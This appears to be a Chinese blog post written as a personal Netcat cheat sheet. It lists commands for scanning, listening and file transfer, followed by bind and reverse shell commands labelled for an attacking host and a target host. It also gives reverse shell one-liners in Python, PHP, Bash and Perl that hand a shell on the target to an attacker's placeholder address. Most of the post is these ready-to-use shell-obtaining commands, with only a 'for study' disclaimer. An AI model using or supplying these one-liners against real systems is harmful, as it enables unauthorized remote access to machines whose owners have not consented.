前言
博主老年痴呆,需要写笔记才能勉强记住东西。
连接远程主机:nc (-nvv) {ip} {port}
监听本地端口:nc -l -p {port}
持续监听端口:nc -L -l -p {port}
保存监听结果:nc -l -p {port} > {file}
持续保存结果:nc -L -l -p {port} > {file}
扫描主机端口:
nc -v {ip} {port} // 扫描单个 TCP 端口
nc -v -z {ip} {start_port} - {end_port} //扫描多个 TCP 端口
nc -v -u {ip} {port} // 扫描单个 UDP 端口
nc -v -u -z {ip} {start_port} - {end_port} //扫描多个 UDP 端口
nc -v -w {second} {start_port} - {end_port} //设置停留时间
远程传输文件
nc {ip} {port} < {file} // 传输端
nc -l -p {port} > {file} // 接收端
正向获取权限:
nc {ip} {port} // 攻击主机
nc -lvp {port} -e {/bash/sh|cmd.exe} // 目标主机
反向获取权限:
nc -lvp {port} // 攻击主机
nc {ip} {port} -e {/bash/sh|cmd.exe} // 目标主机
无 Netcat 获取反向 Shell:
Python 反向 Shell:
python -c 'import socket, subprocess, os;s=socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect(("{ip}",{port}));os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2);p=subprocess.call(["{/bin/sh|cmd.exe}","-i"]);'
PHP 反向 Shell:
php -r '$sock=fsockopen("{ip}",{port});exec("{/bin/sh|cmd.exe} -i <&3 >&3 2>&3");'
Bash 反向 Shell:
bash -i>&/dev/tcp/{ip}/{port} 0>&1
Perl 反向 Shell:
perl -e 'use Socket;$i="{ip}";$p={port};socket(S, PF_INET, SOCK_STREAM, getprotobyname("tcp"));if(connect(S, sockaddr_in($p, inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' // 只能使用单引号
参考《"瑞士军刀"Netcat 使用方法总结》,仅供个人学习。
版权属于:Xcnte' s Blog(除特别注明外)
本文链接:https://cloud.tencent.com/developer/article/1918284
本站文章采用 知识共享署名4.0 国际许可协议 进行许可,请在转载时注明出处及本声明!